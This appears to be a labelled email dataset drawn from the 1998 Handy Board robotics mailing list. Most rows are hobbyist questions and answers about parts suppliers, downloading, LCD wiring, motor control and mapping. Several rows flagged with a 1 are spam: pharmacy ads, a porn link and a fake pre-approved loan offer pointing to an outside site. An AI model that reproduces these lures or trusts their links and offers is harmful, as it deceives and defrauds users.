rf link,"Hi friends! I need some help from you, it's being very difficult to obtain the parts to make my Handy Board here in Brazil. I'm buying one from Hong Kong, but I'd like to buy some extra 68hc11s and lcds, between other things. I have relatives in the USA, but they couldn't find the part listing I sent them, only in high quantities. I'd like to know from you some good suppliers for 68hc11 and the other integrated circuits in general. If there is some in Florida, that will be excellent. If someone could send me a list of suppliers, I'd be very glad. Another very interesting topic I've seen in this list is the rf link modules. If someone have the rf link module schematic I offer myself to make an interface pcb for using with the handy board. Thank you very much! See you, Cesar ",0,0 richs@imssys.imssys.com,Jonathan Swaby ,"Thu, 10 Dec 1998 18:32:11 -0500",Re: Servos for the miniboard,"Jonathan, I would probably go with a futaba servo. I dunno how much torque you need, but for a small(up to .30 cubic inch displacement, maybe even .60) engine, the s148 does the job quite nicely. Tower hobbies sells them for $14, and they can be controlled by the standard servo routines that come in the miniboard library... Jon ",0,0 Ron Chase ,"Handyboard , Cesar Mello ","Thu, 10 Dec 1998 19:08:33 -0500",RE: Suppliers and rf link,"I bought most of the parts from the following: www.mouser.com www.digikey.com www.jameco.com The 68HC11 will be the most dificult to find. ",0,0 john calhoun ,"Handyboard , Cesar Mello ","Thu, 10 Dec 1998 16:45:51 -0800",RE: Suppliers and rf link,">I bought most of the parts from the following: > >www.mouser.com >www.digikey.com >www.jameco.com > >The 68HC11 will be the most dificult to find. As someone mentioned earlier (and I can attest to the accuracy) www.bgmicro.com sells the 68HC11 for something like $6 to $8. I bought two and they arrived in only a few days. john calhoun- ",0,0 Phil ,Ron Chase ,"Thu, 10 Dec 1998 19:14:47 -0600",RE: Suppliers and rf link,"www.bgmicro.com Nice people, good service (they sent me spec sheets once without me ordering!) HC11's for about $6.95 or so, and they have almost every part you'll need for a HB, miniboard or Rug Warrior board. (MAX233 chips, 32k RAM, crystals, latches, etc.) Several monts ago, I prices out a basic Rug Warrior 'brain' there for about $35 (not including motor drivers, PCB etc.) --phil On Thu, 10 Dec 1998, Ron Chase wrote: > I bought most of the parts from the following: > > www.mouser.com > www.digikey.com > www.jameco.com > > The 68HC11 will be the most dificult to find. > > > ",0,0 Leslie ,Sameer ,"Thu, 10 Dec 1998 17:38:29 -0700",so,"Duane wanted to me to shoot you an email about the site I went to acquire my goods www.airforitamjsut.com/l9/ where it was at, his hope this army that Cold ran. With the victory at Issus Alexander controlled Asia Leslie ",1,0 Ollie Palacios ,"staff@nytimes.com, jane@nytimes.com, coleen@nytimes.com, claudette@nytimes.com, chris@nytimes.com","Fri, 11 Dec 1998 10:46:33 +0600",You can save few hundreds every month county,"Cialis, Viagra, Valium and other drugs with wholesale prices. You wont find better prices anywhere else! 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If you want new, try: Future/Active voice 1-800-655-0006 fax 1-800-645-2953 (no internet address) 41 Main St. Bolton, MA 01740 USA They list the chips at $16.30, plus a whole bunch of other interesting stuff, and no minimum order. However, I havn't ordered anything from them since by the time they got their catalog to me we had already completed 2 HB's using chips from BGMicro! ",0,0 Will ,Handyboard Mailing List ,"Fri, 11 Dec 1998 11:00:23 -0700",Re: How to get digital outputs from the handyboard?????????????,"Michael Toh wrote: > hi everyone, i have been trying for the past few days to get digital outputs > from the board but with no success. i have been trying to get digitals > outputs from the SPI's pins (J6). i have poke to make the port as output > port. but the problem now is how to config the 4 bits. what is the location > and the mask bit to do a bit_set/clear. First, to enable the four SPI pins D2 through D5 as digital outputs, make sure you do a bit_set( 0x1009, 0x3C ). (In the sonar.c program, for example, bit_set( 0x1009, 0x30 ) seems to only enable two of the pins--not all four). I think poke would work OK here, too, even though it actually clears bits in addition to setting bits. The middle 4 bits of byte 0x1008 map to ports D2 through D5. To send the pins high, do the following: Bit mask Port Send high 7654 3210 --------- ----------------------- ---- ---- D2 (MISO) bit_set( 0x1008, 0x04 ) 0000 0100 D3 (MOSI) bit_set( 0x1008, 0x08 ) 0000 1000 D4 (SCK) bit_set( 0x1008, 0x10 ) 0001 0000 D5 (SS) bit_set( 0x1008, 0x20 ) 0010 0000 Of course, to send 'em low again, just do the corresponding bit_clear. You can set or clear multiple bits in one statement; you just need to figure out what the bit mask equates to in hexadecimal. You could even set *and* clear bits simultaneously by using poke (instead of bit_set or bit_clear) with the appropriate mask. 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(The board was working fine before).So I tried to re load the pcode, but I have run into a slight problem: With the serial interface disconnected, I hold down the stop button, turn the handyboard on, and both green and red leds go off. This is a good sign that the board has gone into download mode. Now here's the catch: If I have the serial interface connected and repeat the procedure, the green led stays on, and I get the message "" Wrong port or board mode"" I am using the same modem cable I have been using, so the cable is not the problem. Also, When I turn off the handyboard both leds are off, indicating that there is no problem with the memory circuit. I replaced the max232 chip on the serial interface, and get the same results. Could my serial interface be shot? Thanks for your help. Dave. ",0,0 peter@xkeys.demon.co.uk,handyboard@media.mit.edu,"Sat, 12 Dec 1998 09:50:30 +0000",Source of 68HC11 in UK?,"Does anyone know of a supplier for the 68HC11 in the UK? Also any handyboard suppliers in UK. Peter ",0,0 stevet ,handy board ,"Sat, 12 Dec 1998 21:37:10 +1030",config download problems,"Hi I am building a handyboard from scratch after finding it on the net. I actually purchased two pcb's from Douglas Electronics. An aside, they were great to deal with answering all my questions promptly and efficiently. I built the first hb and had download problems, so I decided to build the second hb pcb. I have built the second board up to section 4.4 serial line and stop switch section. I am using a hb pcb v1.2 and an mc68hc11e1cfn3 microcontroller. I have connected up the hb serial interface board to the hb and put the hb into download mode ie hold the stop button down and turn the hb board on. I thought I would burn the config register first before downloading the pcode_hb.s19 file. To avoid windows95 problems etc I have booted up my pentium with a floppy that has msdos 5 loaded on it. No fancy autoexec's or config files etc, just bog standard command.com. I have issued the following instructions and got the following output: a>dlm config0c.s19 -eeprom -port COM2 DLM: 6811 File DOwnloader with intelligetnt EEPROM burn by Fred Martin portions (c) 1992 by Randy Sargent Version 2.4 Jun 8 1995 05:47:06 Downloading to EEPROM Using COM2 Downloading config0c.s19, press ESC to abort Downloading eeprom loader to RAM at 1200 baud... ................................... ................................... ................................... ................................... ................................... ................................... ................................... ........-------------------------- -------------------------------- -------------------------------- -------------------------------- -------------------------------- -------------------------------- -------------------------------- -------------------------------- 512 total bytes(boot loader done) Synchronizing with board ok Sending config0c.s19 at 9600 baud Board memory error: wanted 0c, got 3e at address 103f Board synchronization error. I have done this twice as instructed on page 9 of the ""assembling the handy board"" jan 2 1997 edition. Has anyone got any suggestions. I notice that downloading of the config0c.s19 file, I had text displayed in my netscape browser (under win95). I saved this text as the config0c.s19 file. Is this normal or could some funny bytes been included in my config0c.s19 file. Thanks in advance. steve treagust adelaide ",0,0 FThompson9@aol.com,handyboard@media.mit.edu,"Sat, 12 Dec 1998 08:59:29 -0500",Re: Suppliers and rf link,"Cesar, Nuts & Volts magazine caries lots of adds for just the sort of thing you need (www.nutsvolts.com). I wanted to mention here the 2 X 16 and 2 X 20 LCD displays which are on sale for $8.00 each at www.flat-panel.com. Hope this helps Pherd ",0,0 Cesar Mello ,handyboard@media.mit.edu,"Sat, 12 Dec 1998 15:27:20 -0200",Thanks,"I'd like to thank everybody who sent me all this valuable information about suppliers and rf link. I think now I can make my handyboard with less then US$ 60.00 without the batteries and motor drivers (I want to use it in data acquisition). As I have to pay a lot of dutties it will get around US$ 120.00. Thank you a lot for it! See you, Cesar ",0,0 john calhoun ,handyboard@media.mit.edu,"Sat, 12 Dec 1998 10:53:03 -0800",LCD configs (was:Suppliers and rf link),"> Nuts & Volts magazine caries lots of adds for just the sort of thing you >need (www.nutsvolts.com). I wanted to mention here the 2 X 16 and 2 X 20 LCD >displays which are on sale for $8.00 each at >www.flat-panel.com. I just wanted to voice a warning of sorts. I ordered the 2 X 16 LCD from them and the pinout is slightly different. Instead of a single line of 14 pins: x x x x x x x x x x x x x x They come with a dual inline 2x7 pin configuration: x x x x x x x x x x x x x x I believe they're compatible otherwise. But you will have to make a rather nasty cable to connect the LCD to the Handyboard. Perhaps someone could make a board with tracings and pin headers (male) that would connect the two - a sort of sandwich of sorts. The 2x7 pin out seems to be fairly common these days. Perhaps even the new ""expansion board"" that Fred and company are working on could contain an alternate pinout for 2x7 LCDs. john calhoun- ",0,0 Slila Domane ,handyboard@media.mit.edu,"Sat, 12 Dec 1998 18:19:51 -0800",Position Control Question ?,"Hi Everybody I am new in this mailing list. Has anyone successfully implemented a position control using the handyboard with either a stepper motor or dc servo motor. Baraki ______________________________________________________ Get Your Private, Free Email at http://www.hotmail.com ",0,1 Dave Yoest ,handyboard@media.mit.edu,"Sun, 13 Dec 1998 11:58:18 +0000",Miniboard in space.," Hi, I realize that this is actually not a miniboard list, but since the miniboard is actually the handyboards little brother, I figured maybe this would be of interest. About a year ago I was asked to help a local high school integrate their research project into a self-contained experiment to fly on the space shuttle. Their project involved cockroach research, and they needed to record roach activity for 2 minutes every 4 hours. This provided 10 days of recorded video using a 120 minute hi-8 video camera. Since the camera wasn't programmable for record, we needed a way to control it. I had a few miniboards around, and they seemed like the perfect solution. Using Linux/GCC as a c compiler for code development, the camera power was controlled using a relay wired to motor port 1. We used infrared remote control on motor port 2 to actually control the camera, since it had a infrared control system built in. Motor ports 3 & 4 were connected to small light bulbs, and a photocell connected to the analog port monitored illumination, The pwm values for port 3 & 4 were adjusted to maintain constant illumination levels. A simple elegant solution for video system control. This experiment flew on STS95 in November (along with John Glenn), and was returned to the High School earlier this week. Review of the video indicates the miniboard control system worked flawlessly, and video of the roach activity in space was recorded as planned. Thanks Fred for a good controller design! I'll bet that miniboard has travelled farther and faster than any of the others built. Dave Yoest Systems Engineer AlliedSignal Aerospace NASA/Goddard Space Flight Center dyoest@splat.gsfc.nasa.gov ",0,0 Slila Domane ,"GDFRITZ@aol.com, handyboard@media.mit.edu","Sun, 13 Dec 1998 07:59:44 -0800",Re: Position Control Question ?," Thanks for your reply. To answer your question about position control, let me describe my application. I have an Handyboard, stepper motor, and a linear system (ball-screw), and I would like to control the position of the part mounted on the nut of the ball-screw (x). Hence, I will be using only one stepper motor, and I will very appreciate it if you can tell me what type of stepper motor is more suitable (single pole or dual), and is there any programs already ready to control those motors. I am also wondering about the position error of the stepper motor, is it repeatable or how good is its position accuracy. Baraki >Can you be more specific? > >What do you mean by position control? If you are talking about an X-Y table >it should be easy with a couple of Steppers. > >Please repost to the listserver. > >Gerald ______________________________________________________ Get Your Private, Free Email at http://www.hotmail.com ",0,1 """Amit Bhavsar (aka GrooveBOTist) =p"" ",handyboard@media.mit.edu,"Sun, 13 Dec 1998 11:26:45 -0500",some kind of dividing circuit?!?!?!?!,"hi, I am thinking of using motors with encoders built in them on my rugwarrior board, but the problem is that the motor returns 500 clicks per revolution. and since the counter can only hold about 32,000 the variable fills up and overflows very fast. so I was wondering if there is any way , I could get every 5th or every 10th click. so this way the motor returns 100 clicks per revolution. I would appreciate any help that I could get, Amit ",0,0 Cesar Mello ,handyboard@media.mit.edu,"Sun, 13 Dec 1998 19:52:32 -0200",Re: HandyBoard Build it yourself,"Hi folks! Here is my current shop list, as soon as I have my Handyboard here I'll try to make a complete shop list. 1) First option: buy the unassembled kit from Pattrick Hui's Robot Store in Hong Kong. Order by mail huip@hkstar.com. The standard unassembled price is US$ 170.00, I bought the kit with a registered Interactive C that costs US$ 190.00. Very nice option for who has the money. Mr. Hui is very cool. PS: I think it comes without the batteries, take a look at the site. 2) Build it yourself: I'll place the components I'm importing from USA here. I'm not including the motor drivers because I plan to use the handyboard for data acquisition and maybe to replace a Siemens S7 315 PLC! This is a Handyboard option for poor people as me, so I'm including only the essentials. The capacitors and resistors aren't included too, because this I can buy here in Brazil. PS: I'm researching this from Brazil only through the Internet, so maybe you can find something wrong. If someone wants me to send news please tell me. Supplier: BG Micro Phone: 1-800-276-2206 Fax: 972-271-2462 List of components for BG Micro: catalog code, description, price, quantity SOC52PLCC, 52-pin plcc socket, $ 1.29, 1 ICS62256, 32k x 8 memory, $ 2.99, 1 ICSHC04, 74HC04, $0.25, 1 ICSHC132, 74HC132, $0.45, 1 ICSHC138, 74HC138, $0.35, 3 ICSHC244, 74HC244, $0.60, 1 ICSHC373, 74HC373, $0.60, 2 ICSHC374, 74HC374, $0.60, 1 ICSMAX232, MAX232, $1.65, 2 ICS68HC11A1, 68HC11A1FN, $6.95, 1 // don't include this: ACS1170, Panasonic Credit Card Reader, $1.95, 1 ------------------------------------------------------------- Supplier: Douglas Electronics San Leandro, CA Phone +1 510 483-8770 Fax +1 510 483-6453 Components in Douglas Electronics: 1 Handy Board PCB, $ 16.00 1 Serial and Batt. Ch. for Handy Board: $ 8.00 ------------------------------------------------------------ Supplier: Timeline Phone: 310-784-5488 Components: 1 Hitachi LM052L LCD $ 8.00 ------------------------------------------------------------ Supplier: Insight 1-800-677-6011 DS1233-10 integrated circuit, around $ 2.00 ------------------------------------------------------------ Hope this can help somebody! Thank you for the attention. See you, Cesar ",0,0 Cesar Mello ,handyboard@media.mit.edu,"Sun, 13 Dec 1998 20:02:46 -0200",a/d range and instrumentation,"Hi! Could someone please tell me what is the Handyboard a/d range (60 mV?) and how about it's accuracy? Is someone interested to use or has used the HandyBoard in instrumentation? I plan to make a temperature indicator / pid / fuzzy controller with communication to a host computer. Should it be possible to use the Handyboard a/d for temperature reading? I think 8 bits of resolution isn't enough. The gain amplifier should be no problem, and a cold junction compensation circuit wouldn't be that difficult too. I've never made linearization, but I think it won't be a huge problem for the 68hc11. Maybe an external 12-bit a/d could fit well for temperature reading. I've seen one from Texas Instruments that has spi, could that be connected to the handy board? Can I connect more than one spi external circuit? How do I diferentiate them in code (addresses?). Sorry, I'm a beginner and I only dream with the Handyboard. I'm currently writing supervisory software for pc in Visual Basic 5, it's not bad. You can make an ActiveX exe for communication, and that gives you a good multithreading and a separate process. If someone makes supervisory software we can talk. Thank you a lot for the attention, Cesar Mello ",0,0 Micheal Sampson ,handyboard@media.mit.edu,"Sun, 13 Dec 1998 09:57:35 -0500",Micheal Sampson admires you. beccari," Ph0tos back d0or b0ogie http://10-hot-sites.info >> others eclipses 83442 elsewere toward rbatif >> collapse onto rootheight himself 38781 ",1,1 Clem Taylor ,handyboard@media.mit.edu,"Sun, 13 Dec 1998 23:49:01 -0500",Problems getting a L298H based motor controller to work...,"Hi, On Friday I received a L298H based motor controller kit from JCM Electronics. The assembly was fairly painless, however I can't seem to get it to work. I get 5 volts out of the logic battery output, so the regulator is working. I double checked that all the diodes were properly connected and I buzzed out all the obvious connections and didn't find any faults. I also carefully checked for solder bridges and didn't find any. When I connect +5v from the logic battery output to the left enable and fwd signal and expected to see 7.2 volts across the left motor output. But I didn't see anything... I only have minimal experience working with this type of stuff (I'm a software weenie) and I don't have the slightest clue how to debug this. Any ideas what might be wrong or how I might go about diagnosing the problem? I've haven't done much assembly like this (wire wrap is more my speed) but I was fairly careful (anti-static mat, temperature controlled iron). I thought that the most sensitive part would be the regulator, but it seems to be working just fine. I thought the L298 was a fairly tough part, so if I fried it, I'm going to be in big trouble when I start working with PICs (next step). Also, my voltage source is a freshly charged 7.2 volt RC car battery and I'm using a HandyBoard for the control (as soon as I get this thing to work). Many thanks, Clem ",0,0 r.farnhill@bssl.co.uk,peter@xkeys.demon.co.uk,"Mon, 14 Dec 1998 09:20:09 -0000",RE: Source of 68HC11 in UK?,"Hi peter, you can get the 68hc11 from r.s or farnell here is the farnell catalog number and price. http://www.farnell.com part. MC68HC11A1FN Price. £7.50 cat num. 295-619 cheers Russ... -----Original Message----- From: peter@xkeys.demon.co.uk [mailto:peter@xkeys.demon.co.uk] Sent: Saturday, December 12, 1998 9:51 AM To: handyboard@media.mit.edu Subject: Source of 68HC11 in UK? Does anyone know of a supplier for the 68HC11 in the UK? Also any handyboard suppliers in UK. Peter ",0,1 phillip chia ,handybd ,"Sun, 13 Dec 1998 17:56:26 +0800",Please help! HD jammed !!!,"Hi FThompson, Fred and other, I encountered some problem in the downloading. I was successfully able to download the p_code into the HD. However, When the instruction proned me to reset the board, it always appears on the LCD without any lettering like ""version 3.1.... ""on it . It is just blank with 'dark square' printing on the LCD. Besides, the computer showed synchronised with board, trying ...... After several try, occassionally the lettering of the version 3.1 appear on LCD after reset the board. However, the computer showed synchfronised with board...., trying ..... The situation is that it cannot initiatize the interrupt for standard lib to down load into the HB. Please help. Is it batteries problem ? We are using NIcad 9.6 v currently. rgds, phillip ",0,0 Martin ,'Erica' ,"Mon, 14 Dec 1998 18:33:18 -0100",how to increase sperm count ," Hi friend: We have quality product to help you Enjoy better sex life. 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Bye Bernd ",0,0 Andre Philippi ,Will ,"Mon, 14 Dec 1998 19:28:34 -0800",Small Contribution... ," Howdy Folks, I just finish writing the first version of ICD; a small Expect server, that listens for TCP/IP requests on port 2010, and forwards them to IC (Interactive C). Use it to make web, email, and even 2 way paging interfaces to the Handy Board :) You'll need TCL 7.6 or above, Expect, and IC. Enjoy, Andre Philippi. #!/usr/local/bin/expect ################################################################################ # $Id: icd,v 1.1 1998/12/15 02:21:00 philippi Exp philippi $ # ################################################################################ # # # ICD 1.0 - Interactive C Daemon # # # # Created : 12/14/98 # # Author : Andre Philippi # # Email : philippi@earthlink.net # # # # You are free to use, copy, modify, and redistribute ICD, # # so long as you don't remove or alter this header. # # # ################################################################################ ############################### proc icCommand {sock command} { global prompt icprompt ic_id set spawn_id $ic_id send ""$command\\r"" expect { ""*\\nC> "" { set output [string trimright $expect_out(0,string) $icprompt] puts -nonewline $sock $output puts -nonewline $sock $prompt } timeout { puts $sock ""Error.\\n"" puts -nonewline $sock $prompt } } } ################################### proc handleClient {sock clientIp} { set clientCommand [gets $sock] if {[eof $sock]} { close $sock } else { switch -exact $clientCommand { quit {close $sock} default {icCommand $sock $clientCommand} } } } #################################### proc acceptClient {sock addr port} { global prompt connected set clientIp $addr fileevent $sock readable [list handleClient $sock $clientIp] fconfigure $sock -buffering none -blocking 0 puts $sock """" puts $sock $connected puts -nonewline $sock $prompt } ################# proc startIc {} { global ic ic_id spawn $ic set ic_id $spawn_id expect { ""*\\nC> "" { puts ""\\nIC Started..."" send ""beep();\\r"" } timeout { puts ""IC Init Error..."" close wait exit } } } ################################################################################ # MAIN # ################################################################################ log_user 0 set timeout 60 set serverPort 2010 set ic /home/philippi/packages/ic-sparc-solaris-2853/bin/ic set connected ""Interactive C Daemon 1.0 - Type \\""help\\"" for assistance."" set contact ""philippi@earthlink.net"" set prompt ""ICD1.0>"" set icprompt ""C> "" startIc socket -server acceptClient $serverPort puts ""\\nListening to port $serverPort...\\n"" vwait events ################################################################################ # To Do / Consider : # ################################################################################ # # # - Queueing & locking for multiuser support. # # - User authentication & access restriction for some functions (unload, etc.).# # - Creation of an ICD protocol definition ? # # - Java applet client. # # # ################################################################################ # $Log: icd,v $ # Revision 1.1 1998/12/15 02:21:00 philippi # Initial revision... # ################################################################################ ================================================================= Andre Philippi - Applications Developer | Phone: 626-296-5016 philippi@corp.earthlink.net | Fax: 626-296-5113 Earthlink Network, Inc. | 3100 New York Drive http://www.earthlink.net | Pasadena, CA 91107 ================================================================= ",0,1 bjohnson ,dst@cs.cmu.edu,"Tue, 15 Dec 1998 00:29:15 -0500",fraud by using my pin number,"Dear Mr. David Teretski, It has come to my attention that you are fraudulently using my Personal Pin #xx on your web site in your attempt to slander 21st Century Global Network. If you do not CEASE AND DESIST and remove this immediately I will forward your html document to the proper authorities in your state for prosecution of "" Theft of Services"". I own that pin # , and all legal rights to it by paying for that number through my voice mail system. I find it hard to believe that your school pays for you to publicly slander other companies and to spend your time for such garbage. I guess it goes to show what little men with little minds have to do all day. I sincerely hope you are not spending tuition money on your little venture. This will be your last warning, If it is not removed asap I will turn this over to the proper authorties at once. Sincerely, Bernard R. Johnson 1-248-332-6526 P. S. thank you for the leads it did generate, but CEASE and DESIST! P.S.S. this is being forwarded to your entire falculty along with the web site address! ",1,0 DjKOz97@aol.com,handyboard@media.mit.edu,"Tue, 15 Dec 1998 01:19:06 -0500",Handyboard communication,"Just a simple question- Does the HB operate under Half- or Full Duplex Communication? If it depends on the program, what is the nature of IC (half/ full duplex) Thanks, Dave ",0,0 """Leenman, Eric (Eric)"" ","""'handyboard@media.mit.edu'"" ","Tue, 15 Dec 1998 08:53:36 +0100",SRAM and orLCD problem,"Hi, I'm tring to assembly a Handy board and I get to section 6. ""The beeper and LCD circuit"". In section 4 I've got the pcode_hb downloaded in the 68HC11A1 and the error when DL.EXE comes in the second phase. (I use the DOS version from Randy Sargent on a 486SX Intel machine) Now I got stuck with the LCD. I don't get interactive C V 2.81 9/29/93, I get 16 black characters on the first row. Also the charge LED was flickering on and off or was shining very weak. I have checked all the addresslines, datalines, control lines for breaks, tripled checked the orientation or more the HC132, HC373 and the SRAM. Tried another , SRAM, 74HC132, the LCD, and checked 74HC373. That was all OK I have deassembled the board to section four so the SRAM is not on it. Download the pcode_hb.s19 again. The strange thing now is that I don't get the error again when DL.EXE comes in the second phase when it tries to access the memory. Why??? Also the GREEN PWR led (or TX led) is in the first phse of DL flickering on and off but in the second phase almost not. Does the first phase hang up up the download protocol of DL.EXE? This is what DL print on the monitor screen: C:\\IT\\IC\\dl pcode_hb.s19 6811 s19 file downloader version 7.31 1994 Copy right Randy Sargent 1994 using port com 1 Please place the board in download mode and press return, To quit, press Q For help, press h Downloading 256 byte bootstrap (229 data) ..................................................................... ..................................................................... ..................................................................... ........................................_____________________________ Download succesfull Config 0x0C loading pcode_hb.s19 Sending pcode_hb.19 ..................................................................... ..................................................................... ..................................................................... ...................................................................Done. Press the board RESET button to start pcode_hb.s19 Press any key to exit... Bye! ) Finally tried another processor and another SRAM. I don't see the flickering now with the other SRAM so maybe the SRAM is defected but with the other processsor and the SRAM I still don't see Interactive C on my LCD. The LCD's I use is a 2 row*16 and a 1*16. The one row gives 8 black blocks on it's row. It is possible that these are defect because this where not new but the 2*16 I got from my work of the shelff? I'm wandering if it could be the a) PCODE_HB.S19 or the downloader? Should I use DLM in stead off DL? b) Can it be the contrast of the LCD? c) Can it be the MC34064HC Reset circuit? ( I have used this one because the DS1233-10 is hard to get hear in the Netherlands) Therefore I have also let out the BATT led (and connected the tow holes of the LED to each other so that the reset output is pulled up to VCC with the resistor) Other questions I have is: 1) Why is MODB connected to GND instead of VCC? In the Motorola spec MC68HC11A8 the normal Handy Board is the special test operating mode. It says in this section (when MODB=GND) that it is getting his interupt and reset vectors out of external memory locations BFC0-BFFF instead of internal memory FFC0-FFFF. I don't know what the PCODE_HB.S19 does but this seam strange to me. When you connect MODB to VCC it is in the expanded Multplexed mode. and then the reset and interrupt vectors is got from internal memory. Getting back to my first problem, when I connect MODB to VCC ( by connecting it to MODA) I see the R/W# toggle on my oscillescoop and see the green PWR led go on and off ones a second. That assumes that the processor is executing the PCODE_HB startup code and tries to tranmit data to the PC. When I connect it to ground the level of the R/W# pin stays at 5 volt and I see glitches from about one volt around the steady high level. 2) Is it possible to zip the archive files. I would be much easier to download them and review them locally. 3) I'm a newbee with a mailing list, sorry and sorry for asking but when I'm joining this list do I get hundreds of email every day or do you get ones a week the latest emails or how those this works? I don't know if I should join this list but the archives have already helped me lot. I hope any one is formilliar with this thing and can help me out. Please send email to: eleenman@lucent.com Thanks in advance and greetings from the lowlands in the Netherlands. Eric Leenman ",0,0 """Mr H.L. Chin"" ",handyboard@media.mit.edu,"Tue, 15 Dec 1998 09:49:24 -0000",Mapping,"Hi, Could anyone tell me how a robot can do mapping in a room. Thank you ",0,0 """Thad T. Stroud"" ",handyboard@mailhub.media.mit.edu,"Mon, 14 Dec 1998 23:41:09 -0600",RERE:WE approved yours loan uc12d,"Dear Homeowner, http://getloanz.net You have been approved for a $ 956,494 house loan (2.9 fixed) This offer is being presented to you right now!. Your credit history is in no way a factor. To take advantage of this Limited Time Opportunity, please take a minute and confirm your curiosity or intention to accept this loan, at the following web-site: http://getloanz.net Best Regards Don Nut Loan Manager http://getloanz.net/lit.html handyboard@mailhub.media.mit.edu wrote: > RERE:WE approved yours loan yl6ihb28mm ",1,1 """Fred G. Martin"" ","""Leenman, Eric (Eric)"" ","Tue, 15 Dec 1998 08:27:49 -0500",Re: SRAM and orLCD problem ,"eric, i don't have a definitive answer, but here are two things: 1. You *NEED* the reset chip, whether it's a DS1233 or the MC34064HC, I don't care, but you must have a device that asserts reset (pulls the line low) when the system voltage falls below 4.5v. Otherwsie, the RAM will not hold its contents when you turn the board off. So, plesae get the proper component, and remove your jumper from the BATT LED. Put an LED in there! 2. The board is *designed to operate in special test mode*!! So make sure MODB is connected to Ground! there is more information about the design of the 6.270 board (which is the precursor to the Handy Board) in the Appendix B document at: http://el.www.media.mit.edu/projects/handy-board/techdocs/ Please read it. Fred In your message you said: > Hi, > > I'm tring to assembly a Handy board and I get to section 6. ""The beeper and > LCD circuit"". > In section 4 I've got the pcode_hb downloaded in the 68HC11A1 and the error > when DL.EXE comes in the second phase. (I use the DOS version from Randy > Sargent on a 486SX Intel machine) Now I got stuck with the LCD. I don't get > interactive C V 2.81 9/29/93, I get 16 black characters on the first row. > Also the charge LED was flickering on and off or was shining very weak. > > I have checked all the addresslines, datalines, control lines for breaks, > tripled checked the orientation or more the HC132, HC373 and the SRAM. Tried > another , SRAM, 74HC132, the LCD, and checked 74HC373. > > That was all OK I have deassembled the board to section four so the SRAM is > not on it. Download the pcode_hb.s19 again. The strange thing now is that I > don't get the error again when DL.EXE comes in the second phase when it > tries to access the memory. Why??? > > Also the GREEN PWR led (or TX led) is in the first phse of DL flickering on > and off but in the second phase almost not. Does the first phase hang up up > the download protocol of DL.EXE? > > > This is what DL print on the monitor screen: > > C:\\IT\\IC\\dl pcode_hb.s19 > 6811 s19 file downloader version 7.31 1994 > Copy right Randy Sargent 1994 > using port com 1 > > Please place the board in download mode and press return, > To quit, press Q > For help, press h > Downloading 256 byte bootstrap (229 data) > ..................................................................... > ..................................................................... > ..................................................................... > ........................................_____________________________ > Download succesfull > Config 0x0C > loading pcode_hb.s19 > > Sending pcode_hb.19 > ..................................................................... > ..................................................................... > ..................................................................... > ...................................................................Done. > Press the board RESET button to start pcode_hb.s19 > Press any key to exit... > Bye! > ) > > > Finally tried another processor and another SRAM. I don't see the flickering > now with the other SRAM so maybe the SRAM is defected but with the other > processsor and the SRAM I still don't see Interactive C on my LCD. The LCD's > I use is a 2 row*16 and a 1*16. The one row gives 8 black blocks on it's > row. It is possible that these are defect because this where not new but the > 2*16 I got from my work of the shelff? > > I'm wandering if it could be the > a) PCODE_HB.S19 or the downloader? Should I use DLM in stead off DL? > b) Can it be the contrast of the LCD? > c) Can it be the MC34064HC Reset circuit? ( I have used this one because > the DS1233-10 is hard to get hear in the Netherlands) Therefore I have also > let out the BATT led (and connected the tow holes of the LED to each other > so that the reset output is pulled up to VCC with the resistor) > > Other questions I have is: > > 1) Why is MODB connected to GND instead of VCC? In the Motorola spec > MC68HC11A8 the normal Handy Board is the special test operating mode. It > says in this section (when MODB=GND) that it is getting his interupt and > reset vectors out of external memory locations BFC0-BFFF instead of internal > memory FFC0-FFFF. I don't know what the PCODE_HB.S19 does but this seam > strange to me. When you connect MODB to VCC it is in the expanded > Multplexed mode. and then the reset and interrupt vectors is got from > internal memory. > > Getting back to my first problem, when I connect MODB to VCC ( by connecting > it to MODA) I see the R/W# toggle on my oscillescoop and see the green PWR > led go on and off ones a second. That assumes that the processor is > executing the PCODE_HB startup code and tries to tranmit data to the PC. > When I connect it to ground the level of the R/W# pin stays at 5 volt and I > see glitches from about one volt around the steady high level. > > 2) Is it possible to zip the archive files. I would be much easier to > download them and review them locally. > > 3) I'm a newbee with a mailing list, sorry and sorry for asking but when I'm > joining this list do I get hundreds of email every day or do you get ones a > week the latest emails or how those this works? I don't know if I should > join this list but the archives have already helped me lot. > > I hope any one is formilliar with this thing and can help me out. Please > send email to: eleenman@lucent.com > > Thanks in advance and greetings from the lowlands in the Netherlands. > > Eric Leenman > ",0,1 jdunn@unm.edu,"mbge7hlc@stud.man.ac.uk, Handy Board ","Tue, 15 Dec 1998 07:50:07 -0700",Re: Mapping,"I've just started experimenting with mapping and these are my thoughts on it. Drop the robot anywhere in its environment. The robot has a sonar hooked to a servo so the sensor can be scanned horizontally. As the sensor sweeps from left to right, only the time intervals that are different from the last by at least a certain margin are recorded, along with the servo position. Each of these are recorded as arbitrary, but sequential for now, vectors of a fixed size in memory. After a complete scan from left to right is made The critical points are identified by: Identify the characteristics of your sensor The sonar we are using has a detection cone of about 40 degrees, this depends upon the texture, material, shape, and size of the obstacle. A flat metal surface directed straight back at the sensor broadens the cone to about 60 degrees up close (1.5' to 5' for the Polaroid sensor). And narrows the cone to about 2 degrees at very far distances (about 22' for the Polaroid) because nothing else is detected at those distances. The surface used was 12ga steel 1'x1' smooth plate. Other obstacles were kept out of it's line of vision. ~2msec / foot of distance according to the oscope used. A person on the other hand could only be detected out to about 7'. So once you have some data on the 'sonar field width' for the different materials, sizes, and shapes the robot is expected to encounter, a weighting table, heretofore 'feature lookup table' can be set up to help distinguish critical points of data by the apparent width of the cone the objects produce at a given distance. As the same analog value is produced while scanning, assume it is from the same point on that object, even though there are other objects that may be the same distance away. Take the distance and average the positions at which they occurred and store the location of the vector and its weight from the 'feature lookup table'. If the difference in positions of constant values exceeds any in the lookup table, then create two new positions that are at the mean of the edges of the sonar field width for that distance and the associated mean weight of obstacles at that distance (this provides a guess as to where the edges of the obstacle are). Do this for all echo return time values that have a matching value within a certain experimentally determined tolerance, regardless of other data values being between them. For Next look for values of progressively increasing, or decreasing time intervals. These are walls, couches, etc. If there is a somewhat linear relationship you only need to keep the begining and ending values with a flag that indicates the data between was connected. This is to save memory. If the data is non-linear then keep the vectors as they are to compare with once the vehicle moves. From the present position of the robot, calculate where all of the critical vectors should be once the robot moves a known distance. Move that distance. Rescan the area and compare the results. For critical points that agree, increase their data weighting by some value. For critical points that disagree, decrease their data weighting by some value. For new critical points, record them as above. When a critical point weighting drops below a certain value, it is overwritten by new data. If critical points tend 